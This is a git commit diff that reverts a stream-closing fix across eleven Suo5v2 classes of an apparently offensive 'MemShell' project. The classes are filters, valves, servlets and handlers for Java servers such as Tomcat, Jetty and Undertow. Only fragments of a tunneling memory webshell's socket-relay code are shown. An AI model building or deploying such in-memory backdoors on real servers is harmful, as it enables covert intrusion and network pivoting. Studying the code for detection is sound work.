Revert "fix: close respOutputStream in finally"
Dev Deploy / Build Jar (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled

This reverts commit 25e4086241.
This commit is contained in:
ReaJason
2025-12-14 19:25:26 +08:00
parent 517cc9f6f5
commit 5906552b83
11 changed files with 57 additions and 78 deletions
@@ -346,10 +346,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId); Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -381,26 +381,26 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
} }
} }
private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { private void processHalfStream(Object req, Object resp, HashMap dataMap, String tunId, int dirtySize) throws Exception {
boolean newThread = false; boolean newThread = false;
boolean sendClose = true; boolean sendClose = true;
try { try {
byte action = ((byte[]) dataMap.get("ac"))[0]; byte action = ((byte[]) dataMap.get("ac"))[0];
switch (action) { switch (action) {
@@ -324,10 +324,10 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId); Suo5v2ControllerHandler p = new Suo5v2ControllerHandler(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -359,17 +359,15 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -329,10 +329,10 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId); Suo5v2Filter p = new Suo5v2Filter(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -365,18 +365,14 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -341,10 +341,10 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId); Suo5v2Interceptor p = new Suo5v2Interceptor(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -376,20 +376,19 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
} }
} }
@@ -379,10 +379,10 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId); Suo5v2JettyCustomizer p = new Suo5v2JettyCustomizer(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -414,17 +414,15 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -340,10 +340,10 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId); Suo5v2JettyHandler p = new Suo5v2JettyHandler(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -375,17 +375,15 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -335,10 +335,10 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId); Suo5v2Listener p = new Suo5v2Listener(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -370,17 +370,15 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -323,10 +323,10 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId); Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -358,17 +358,15 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -326,10 +326,10 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId); Suo5v2Struct2Action p = new Suo5v2Struct2Action(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -361,17 +361,15 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -326,10 +326,10 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId); Suo5v2UndertowServletHandler p = new Suo5v2UndertowServletHandler(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -361,17 +361,15 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier,
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }
@@ -329,10 +329,10 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
Thread t = null; Thread t = null;
boolean sendClose = true; boolean sendClose = true;
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
try { try {
final OutputStream scOutStream = socket.getOutputStream();
final InputStream scInStream = socket.getInputStream();
final OutputStream respOutputStream = resp.getOutputStream();
Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId); Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId);
t = new Thread(p); t = new Thread(p);
@@ -364,17 +364,15 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust
} }
} catch (Exception ignored) { } catch (Exception ignored) {
} finally { } finally {
try { try {
socket.close(); socket.close();
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (sendClose) { if (sendClose) {
writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); writeAndFlush(resp, marshalBase64(newDel(tunId)), 0);
} }
try {
respOutputStream.close();
} catch (Exception ignored) {
}
if (t != null) { if (t != null) {
t.join(); t.join();
} }